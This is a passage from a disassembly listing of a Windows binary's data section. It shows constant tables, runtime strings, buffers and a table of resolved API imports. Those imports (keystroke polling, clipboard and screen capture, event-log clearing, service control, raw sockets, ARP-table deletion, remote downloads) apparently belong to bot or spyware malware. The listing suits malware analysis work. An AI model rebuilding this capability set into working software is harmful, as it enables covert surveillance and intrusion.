sub_420375+311r ... align 4 dd 1 off_442778 dd offset aNull_0 ; DATA XREF: sub_41F504:loc_41F868r ; sub_41F504+457r ; "(null)" off_44277C dd offset aNull ; DATA XREF: sub_41F504+259r ; "(null)" byte_442780 db 1 ; DATA XREF: .nsp0:0041FDEFr db 2, 4, 8 align 8 dword_442788 dd 3A4h dword_44278C dd 82798260h, 21h, 0dword_442798 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_442878 dd 1 ; sub_420244+Co dword_44287C dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_4429E0 dd 0D2D0920h, 5Dh ; sub_420375:loc_4208DCo dword_4429E8 dd 5Dh, 0 dword_4429F0 dd 14h off_4429F4 dd offset aExp ; DATA XREF: sub_421489:loc_4214A6r ; "exp" dd 1Dh, 42784Ch, 1Ah, 427848h, 1Bh, 427840h, 1Fh, 427838h dd 13h, 427830h, 21h, 427828h, 0Eh, 427820h, 0Dh, 427818h dd 0Fh, 427810h, 10h, 427808h, 5, 427800h, 1Eh, 4277FCh dd 12h, 4277F8h, 20h, 4277F4h, 0Ch, 4277ECh, 0Bh, 4277E4h dd 15h, 4277DCh, 1Ch, 4277D4h, 19h, 4277CCh, 11h, 4277C4h dd 18h, 4277BCh, 16h, 4277B4h, 17h, 4277ACh, 22h, 4277A8h dd 23h, 4277A4h, 24h, 4277A0h dbl_442AC8 dq 1.797693134862316e308 ; DATA XREF: sub_4211C4+B7r ; sub_4211C4:loc_4212ABr ... dd 0 dd 0FFF80000h dbl_442AD8 dq 1.797693134862316e308 ; DATA XREF: sub_4211C4+92r ; sub_4211C4:loc_421283r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_442AF0 dt 2.3562723457267347066e313 ; DATA XREF: sub_421671+Dr ; sub_421671+1Fr align 4 tbyte_442AFC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421671+31r align 4 off_442B08 dd offset sub_424563 ; DATA XREF: sub_41CE00+Fw ; sub_41F504+3AAr off_442B0C dd offset sub_424563 ; DATA XREF: sub_41CE00+5w ; sub_41F504+3E2r off_442B10 dd offset sub_424563 ; DATA XREF: sub_41CE00+14w ; sub_420375+430r off_442B14 dd offset sub_424563 ; DATA XREF: sub_41CE00+1Ew ; sub_41F504+3CBr off_442B18 dd offset sub_424563 ; DATA XREF: sub_41CE00+28w off_442B1C dd offset sub_424563 ; DATA XREF: sub_41CE00+32w dd offset sub_42456C dd 3 dup(0) dd offset sub_4223CC off_442B34 dd offset sub_4223CC ; DATA XREF: sub_422422+29r off_442B38 dd offset dword_4E1940 ; DATA XREF: sub_422563+55o align 10h dd offset dword_4E1940 dd 101h dword_442B48 dd 2 dup(0) dd 1000h, 0 dword_442B58 dd 3 dup(0) ; sub_41F3EF+50o ... dd 2, 1, 3 dup(0) dword_442B78 dd 3 dup(0) ; sub_4202AB:loc_4202C9o dd 2 dup(2), 7 dup(0) dword_442BA8 dd 84h dup(0) dword_442DB8 dd 0C0000005h ; sub_422D4B+Ar ... dword_442DBC dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_442E30 dd 3 ; sub_425781+C8r dword_442E34 dd 7 ; sub_425781+CDr dword_442E38 dd 0Ah ; sub_4258AE+4r dword_442E3C dd 8Ch ; .nsp0:00422C99w ... dword_442E40 dd 0FFFFFFFFh, 0A00h ; sub_41F3EF:loc_41F4ACo dword_442E48 dd 2 ; sub_4234E5+28r off_442E4C dd offset aR6002FloatingP ; DATA XREF: sub_4234E5+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B6Ch, 9, 427B40h, 0Ah, 427B1Ch, 10h, 427AF0h dd 11h, 427AC0h, 12h, 427A9Ch, 13h, 427A70h, 18h, 427A38h dd 19h, 427A10h, 1Ah, 4279D8h, 1Bh, 4279A0h, 1Ch, 427978h dd 78h, 427968h, 79h, 427958h, 7Ah, 427948h, 0FCh, 43BB50h dd 0FFh, 427938h dword_442ED8 dd 2 dup(0) dword_442EE0 dd 2694h ; sub_420E79+46r align 8 dword_442EE8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_442F00 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_442F18 dd 7080h ; sub_42464C+5Ew ... dword_442F1C dd 1 ; sub_42464C+8Bw ... dword_442F20 dd 0FFFFF1F0h ; sub_42464C+94w ... dword_442F24 dd 545350h, 0Fh dup(0)dword_442F64 dd 544450h, 0Fh dup(0)off_442FA4 dd offset dword_442F24 ; DATA XREF: sub_42464C+BAr ; sub_42464C+D9r ... off_442FA8 dd offset dword_442F64 ; DATA XREF: sub_42464C+F4r ; sub_42464C+11Br ... align 10h dword_442FB0 dd 0FFFFFFFFh ; sub_4248AA+1Er ... dword_442FB4 dd 0 ; sub_424A56+BFw dword_442FB8 dd 0 ; sub_424A56+E0w align 10h dword_442FC0 dd 0FFFFFFFFh ; sub_4248AA+26r ... dword_442FC4 dd 0 ; sub_424A56+EAw ... dword_442FC8 dd 0 ; sub_424A56+23r ... dword_442FCC dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_442FFC dd 16Dh ; sub_424A56+2Er ... dword_443000 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_443038 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_443198 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425C06+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_4432F8 dd offset off_427D5C ; DATA XREF: .nsp0:00427EDCo ; .nsp0:00427FECo align 10h a_?avexception@ db '.?AVexception@@',0 off_443310 dd offset off_427D5C ; DATA XREF: .nsp0:off_427DC8o ; .nsp0:00427E5Co ... align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h off_443330 dd offset off_427D5C ; DATA XREF: .nsp0:off_427DE0o ; .nsp0:00427E24o ... align 8 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_443350 dd offset off_427D5C ; DATA XREF: .nsp0:off_427E68o ; .nsp0:00427EACo ... align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h off_443370 dd offset off_427D5C ; DATA XREF: .nsp0:off_427EE8o ; .nsp0:00427F24o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42456C align 10h dword_443390 dd 2 dup(0) byte_443398 db 0 ; DATA XREF: sub_401135+62o ; .nsp0:004039BDo ... align 10h dword_4433A0 dd 0 ; .nsp0:004026A9r ... dd 5 dup(0) dword_4433B8 dd 0 ; sub_4156AE+60r dd 2D9h dup(0) dword_443F20 dd 0 ; .nsp0:004079C4r ... dd 7Fh dup(0) dword_444120 dd 0 ; sub_40B149+40w ... dword_444124 dd 0 ; sub_40B149+46w ... dword_444128 dd 0 ; sub_40B149+3Ar ... dword_44412C dd 0 ; sub_4018A1+B9w ... dword_444130 dd 0 ; sub_40B32A+2Aw ... dword_444134 dd 0 ; .nsp0:00402527w ... byte_444138 db 0 ; DATA XREF: sub_4018A1+91o ; .nsp0:0040780Ar ... align 4 dd 585h dup(0) dword_445750 dd 2A3Fh dup(0) db 0 byte_45004D db 3 dup(0) ; DATA XREF: .nsp0:0043FD30o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: .nsp0:off_440788o dd 0E304h dup(0) dword_490054 dd 947Ch dup(0) ; .nsp0:00439B65o db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .nsp0:off_4405F4o dd 6F36h dup(0) dword_4D0F20 dd 0 ; sub_40B00E+13o ... dword_4D0F24 dd 0 ; .nsp0:loc_4044D7r ... dd 59h dup(0) dword_4D108C dd 0 ; .nsp0:loc_403C41r ... dd 2 dup(0) dword_4D1098 dd 0 ; .nsp0:00401DEBr byte_4D109C db 0 ; DATA XREF: sub_401A09+10r ; sub_401A09+23o align 10h dword_4D10A0 dd 0 dword_4D10A4 dd 0 dword_4D10A8 dd 0 ; sub_40C8B0+13o ... dword_4D10AC dd 0 ; resolved to->GDI32.DeleteDC ; sub_409A6D+4EBr ... dword_4D10B0 dd 0 ; resolved to->KERNEL32.Module32First ; sub_419F45+166r dword_4D10B4 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_409A6D+880r ... dword_4D10B8 dd 0 ; sub_409A6D+A43r ... dword_4D10BC dd 0 ; sub_409A6D+A13r ... dword_4D10C0 dd 0 ; resolved to->GDI32.SelectObject ; sub_409A6D+4DBr ... dword_4D10C4 dd 0 ; resolved to->USER32.GetKeyState ; sub_409A6D+234r ... dword_4D10C8 dd 0 ; sub_409A6D+A3Br ... dword_4D10CC dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_409A6D+3C7r ... dword_4D10D0 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_41B2E4+11Er dword_4D10D4 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_409A6D+3CFr ... dword_4D10D8 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_419533+ADr dword_4D10DC dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_40F891+115r ... dword_4D10E0 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_409A6D+D2r ... dword_4D10E4 dd 0 ; sub_409A6D+A06r ... dword_4D10E8 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_409A6D+3E7r ... dword_4D10EC dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_409A6D+8ACr ... dword_4D10F0 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_409A6D+2F0r ... dword_4D10F4 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_409A6D+8A4r ... dword_4D10F8 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4D10FC dd 0 ; resolved to->WININET.InternetReadFile ; sub_409A6D+8B4r ... dword_4D1100 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_409A6D+6D0r ... dword_4D1104 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_409A6D+CAr ... dword_4D1108 dd 0 ; resolved to->IPHLPAPI.IcmpSendEchodword_4D110C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_409A6D+A95w ... dword_4D1110 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_409A6D+F2r dword_4D1114 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_409A6D+4D3r ... dword_4D1118 dd 0 ; resolved to->WS2_32.ntohl ; sub_40BEB3+20r ... dword_4D111C dd 0 ; sub_409A6D+A33r dword_4D1120 dd 0 ; resolved to->WS2_32.ntohs ; sub_409A6D+754r ... dword_4D1124 dd 0 ; sub_40B209+3Do dword_4D1128 dd 0 dword_4D112C dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_409A6D+86Dr dword_4D1130 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_418AE3+15r dword_4D1134 dd 0 ; sub_409A6D+A1Br ... dword_4D1138 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_409A6D+3D7r ... dword_4D113C dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_409A6D+3DFr ... dword_4D1140 dd 0 ; sub_409A6D+C8Cr ... dword_4D1144 dd 0 ; resolved to->WS2_32.getpeername ; .nsp0:00410E91r dword_4D1148 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_401135+23r ... dword_4D114C dd 0 ; resolved to->GDI32.DeleteObject ; .nsp0:00415BBDr dword_4D1150 dd 0 ; sub_409A6D+A4Br ... dword_4D1154 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_409A6D+2B2w ... dword_4D1158 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_409A6D+DAr ... dword_4D115C dd 0 ; resolved to->SHELL32.ShellExecuteA ; .nsp0:00409417r ... dword_4D1160 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_409A6D+533w ... dword_4D1164 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_409A6D+890r ... dword_4D1168 dd 0 ; sub_409A6D+A23r dword_4D116C dd 0 ; sub_409A6D+C3Fr ... dword_4D1170 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_418C8D+47r dword_4D1174 dd 0 ; resolved to->USER32.GetForegroundWindow ; .nsp0:00412336r ... dword_4D1178 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_409A6D+92Er dword_4D117C dd 0 dword_4D1180 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_418C8D+4Fr dword_4D1184 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_409A6D+6E8r ... dword_4D1188 dd 0 ; resolved to->WININET.InternetOpenA ; sub_409A6D+873r dword_4D118C dd 0 ; resolved to->USER32.GetWindowTextA ; sub_409A6D+23Cr ... dword_4D1190 dd 0 ; resolved to->USER32.IsWindow ; sub_409A6D+1C2r ... dword_4D1194 dd 0 ; resolved to->WS2_32.getsockname ; .nsp0:0040752Ar ... dword_4D1198 dd 0 ; resolved to->WS2_32.connect ; .nsp0:00406BF5r ... dword_4D119C dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_409A6D+6DCr ... dword_4D11A0 dd 0 ; sub_409A6D:loc_40A366w ... dword_4D11A4 dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_409A6D+28Bw ... dword_4D11A8 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_409A6D+69Fw ... dword_4D11AC dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_409A6D+341r ... dword_4D11B0 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_409A6D+3EFr ... dword_4D11B4 dd 0 ; sub_409A6D+C37r ... dword_4D11B8 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_409A6D+888r ... dword_4D11BC dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_409A6D+227r ... dword_4D11C0 dd 0 ; resolved to->USER32.OpenClipboard ; sub_409A6D+1D2r ... dword_4D11C4 dd 0 ; resolved to->WININET.InternetConnectA ; sub_409A6D+898r ... dword_4D11C8 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_409A6D+774r dword_4D11CC dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_409A6D+2BFw ... dword_4D11D0 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_409A6D+79Cr ... dword_4D11D4 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_409A6D+334r ... dword_4D11D8 dd 0 ; resolved to->WS2_32.select ; sub_409A6D+784r ... dword_4D11DC dd 0 ; resolved to->GDI32.CreateDCA ; sub_409A6D+4AEr ... dword_4D11E0 dd 0 ; resolved to->USER32.GetClipboardData ; sub_409A6D+1DAr ... dword_4D11E4 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_409A6D+3BAr ... dword_4D11E8 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4D11EC dd 0 ; resolved to->WS2_32.ntohl ; sub_409A6D+748r ... dword_4D11F0 dd 0 ; resolved to->WS2_32.ntohs ; .nsp0:00406BA7r ... dword_4D11F4 dd 0 ; resolved to->KERNEL32.Process32First ; sub_409A6D+C2r ... dword_4D11F8 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_409A6D+4CBr ... dword_4D11FC dd 0 ; resolved to->USER32.FindWindowA ; sub_409A6D+1BAr ... dword_4D1200 dd 0 ; sub_409A6D+A5Br ... dword_4D1204 dd 0 ; resolved to->WS2_32.gethostname ; sub_409A6D+7ACr ... dword_4D1208 dd 0 ; resolved to->WSOCK32.recv ; .nsp0:00406C0Ar ... dword_4D120C dd 0 ; sub_409A6D+C47r ... dword_4D1210 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_409A6D+BAr ... dword_4D1214 dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_409A6D+298w ... dword_4D1218 dd 0 ; resolved to->WS2_32.listen ; sub_409A6D+78Cr ... dword_4D121C dd 0 ; resolved to->WS2_32.bind ; sub_409A6D+77Cr ... dword_4D1220 dd 0 ; sub_409A6D+C92w dword_4D1224 dd 0 ; resolved to->WININET.InternetCloseHandle ; .nsp0:00416EDEr ... dword_4D1228 dd 0 dword_4D122C dd 0 ; sub_409A6D+C22r ... dword_4D1230 dd 0 ; resolved to->WS2_32.inet_addr ; .nsp0:004079F5r ... dword_4D1234 dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_409A6D+4BBr ... dword_4D1238 dd 0 ; resolved to->GDI32.BitBlt ; sub_409A6D+4E3r ... dword_4D123C dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_409A6D+4C3r ... dword_4D1240 dd 0 ; resolved to->WS2_32.send ; .nsp0:00406C27r ... dword_4D1244 dd 0 ; resolved to->USER32.CloseClipboard ; sub_409A6D+1E2r ... dword_4D1248 dd 0 ; sub_409A6D+A53r ... dword_4D124C dd 0 ; resolved to->USER32.SendMessageA ; sub_409A6D+1ADr ... dword_4D1250 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_409A6D+E2r ... dword_4D1254 dd 0 ; resolved to->WS2_32.sendto ; sub_409A6D+764r ... dword_4D1258 dd 0 ; sub_409A6D+B5Fr dword_4D125C dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_419EDA+55r dword_4D1260 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_409A6D+2D3r ... dword_4D1264 dd 0 ; resolved to->SHELL32.SHChangeNotifydword_4D1268 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40AA8C+CEr dword_4D126C dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_409A6D+AE6r ... dword_4D1270 dd 0 ; resolved to->WS2_32.socket ; .nsp0:00406B86r ... dword_4D1274 dd 0 ; resolved to->WS2_32.gethostbyname ; .nsp0:004093BDr ... dword_4D1278 dd 0 ; sub_409A6D+C2Fr ... dword_4D127C dd 0 ; resolved to->WS2_32.inet_ntoa ; .nsp0:00407550r ... dword_4D1280 dd 0 ; sub_409A6D+A2Br ... dword_4D1284 dd 0 ; resolved to->WS2_32.accept ; sub_409A6D+794r ... dword_4D1288 dd 0 ; resolved to->WS2_32.closesocket ; sub_4018A1+D0r ... dword_4D128C dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_409A6D+70Cr ... dword_4D1290 dd 0 ; sub_409A6D+B57r dword_4D1294 dd 0 ; resolved to->WS2_32.WSASocketA ; sub_409A6D+6C4r ... dword_4D1298 dd 0 ; sub_409A6D+B4Ar ... dword_4D129C dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_409A6D+31w ... dword_4D12A0 dd 0 ; resolved to->USER32.DestroyWindow ; sub_409A6D+1CAr ... align 8 dword_4D12A8 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_409A6D+93Br dword_4D12AC dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_409A6D+EAr ... dword_4D12B0 dd 0 ; sub_409A6D+12Bw ... dword_4D12B4 dd 0 ; sub_40A729+1Cr dword_4D12B8 dd 0 ; sub_409A6D:loc_409CC2w ... dword_4D12BC dd 0 ; sub_40A729+50r dword_4D12C0 dd 0 ; sub_409A6D:loc_409D75w ... dword_4D12C4 dd 0 ; sub_40A729+84r dword_4D12C8 dd 0 ; sub_40A729:loc_40A7D9r dword_4D12CC dd 0 ; sub_40A729+B8r dword_4D12D0 dd 0 ; sub_40A729:loc_40A80Dr dword_4D12D4 dd 0 ; sub_40A729+ECr dword_4D12D8 dd 0 ; sub_409A6D+8EFw ... dword_4D12DC dd 0 ; sub_40A729+120r dword_4D12E0 dd 0 ; sub_409A6D:loc_40A3C1w ... dword_4D12E4 dd 0 ; sub_40A729+154r dword_4D12E8 dd 0 ; sub_409A6D:loc_40A4DDw ... dword_4D12EC dd 0 ; sub_40A729+188r dword_4D12F0 dd 0 ; sub_40A729:loc_40A8DDr dword_4D12F4 dd 0 ; sub_40A729+1BCr dword_4D12F8 dd 0 ; sub_40A729:loc_40A911r dword_4D12FC dd 0 ; sub_40A729+1F0r dword_4D1300 dd 0 ; sub_40A729:loc_40A945r dword_4D1304 dd 0 ; sub_40A729+224r dword_4D1308 dd 0 ; sub_40A729:loc_40A979r dword_4D130C dd 0 ; sub_40A729+258r dword_4D1310 dd 0 ; sub_40A729:loc_40A9ADr dword_4D1314 dd 0 ; sub_40A729+28Cr dword_4D1318 dd 0 ; sub_40A729:loc_40A9E1r dword_4D131C dd 0 ; sub_40A729+2C0r dword_4D1320 dd 8 dup(0) dword_4D1340 dd 0 ; sub_40BEFB+92w ... dword_4D1344 dd 0 ; .nsp0:0040C321w ... dd 7FEh dup(0) dword_4D3340 dd 6 dup(0) ; sub_40C034+138o ... dword_4D3358 dd 0 ; sub_40B9DD+348o dword_4D335C dd 0 ; sub_40B9DD+35Ar dword_4D3360 dd 0 dword_4D3364 dd 0 ; sub_40B9DD:loc_40BCF2r dword_4D3368 dd 20h dup(0) ; sub_40B9DD+302o dword_4D33E8 dd 0 dword_4D33EC dd 0 ; sub_40B9DD+30Fw dword_4D33F0 dd 0 align 8 dword_4D33F8 dd 0 ; sub_40B9DD+101o dword_4D33FC dd 41h dup(0) dword_4D3500 dd 41h dup(0) dword_4D3604 dd 0 ; sub_40B9DD+113r dword_4D3608 dd 0 dword_4D360C dd 0 ; sub_40B9DD+D4r dword_4D3610 dd 20h dup(0) ; sub_40B9DD+BAo dword_4D3690 dd 0 dword_4D3694 dd 0 ; sub_40B9DD+C7w dword_4D3698 dd 0 align 10h dword_4D36A0 dd 0 ; sub_40B9DD+225o dword_4D36A4 dd 41h dup(0) dword_4D37A8 dd 41h dup(0) dword_4D38AC dd 0 ; sub_40B9DD+237r dword_4D38B0 dd 0 dword_4D38B4 dd 0 ; sub_40B9DD+1F8r dword_4D38B8 dd 20h dup(0) ; sub_40B9DD+1DEo dword_4D3938 dd 0 dword_4D393C dd 0 ; sub_40B9DD+1EBw dword_4D3940 dd 0 align 8 dword_4D3948 dd 0 ; sub_40B9DD+470o dword_4D394C dd 0A2h dup(0) dword_4D3BD4 dd 41h dup(0) dword_4D3CD8 dd 0 ; sub_40B9DD+423r align 10h dword_4D3CE0 dd 0 ; sub_40B9DD+482r dword_4D3CE4 dd 0 dword_4D3CE8 dd 0 dword_4D3CEC dd 0 dd 0 dword_4D3CF4 dd 0 dd 0 dword_4D3CFC dd 0 ; sub_40B630+31r dword_4D3D00 dd 0 ; sub_40B630+25r ... dword_4D3D04 dd 82h dup(0) dword_4D3F0C dd 2 dup(0) dword_4D3F14 dd 0 ; .nsp0:0040DEB5o dd 0 dword_4D3F1C dd 2 dup(0) ; sub_40E7D2+EAo dword_4D3F24 dd 0 dd 0 dd 0 dword_4D3F30 dd 0 dword_4D3F34 dd 0 ; .nsp0:0040ECCCr dd 0 dword_4D3F3C dd 0 dd 0 dword_4D3F44 dd 0 dword_4D3F48 dd 0 ; sub_40F77A+51r ... dd 3 dup(0) dword_4D3F58 dd 0 align 10h dword_4D3F60 dd 0 ; .nsp0:0041295Co dd 7Bh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .nsp0:off_43FB18o dd 8Dh dup(0) dword_4D4388 dd 188h dup(0) ; .nsp0:loc_404B12o ... dword_4D49A8 dd 0 ; .nsp0:00404A5Br ... dd 3 dup(0) byte_4D49B8 db 0 ; DATA XREF: .nsp0:00415469o ; .nsp0:00415478w ... byte_4D49B9 db 0 ; DATA XREF: .nsp0:0041548Cw word_4D49BA dw 0 ; DATA XREF: .nsp0:004154BDw word_4D49BC dw 0 ; DATA XREF: .nsp0:004154A4w ; .nsp0:loc_4155FAw word_4D49BE dw 0 ; DATA XREF: .nsp0:004154C3w byte_4D49C0 db 0 ; DATA XREF: .nsp0:004154B0w byte_4D49C1 db 0 ; DATA XREF: .nsp0:00415485w word_4D49C2 dw 0 ; DATA XREF: .nsp0:0041561Aw ; .nsp0:00415644w dword_4D49C4 dd 0 ; .nsp0:004155C2r dword_4D49C8 dd 0 word_4D49CC dw 0 ; DATA XREF: .nsp0:004155BCw ; .nsp0:00415610o word_4D49CE dw 0 ; DATA XREF: .nsp0:0041555Dw ; .nsp0:00415582r ... dword_4D49D0 dd 0 ; .nsp0:00415601w dword_4D49D4 dd 0 ; .nsp0:004155D3w ... byte_4D49D8 db 0 ; DATA XREF: .nsp0:00415539r ; .nsp0:00415547w byte_4D49D9 db 0 ; DATA XREF: .nsp0:00415503w ; .nsp0:004155CCw ... word_4D49DA dw 0 ; DATA XREF: .nsp0:00415511w word_4D49DC dw 0 ; DATA XREF: .nsp0:00415621w ; .nsp0:00415652w word_4D49DE dw 0 ; DATA XREF: .nsp0:00415556w word_4D49E0 dw 0 ; DATA XREF: .nsp0:00415588w ; .nsp0:0041565Ao word_4D49E2 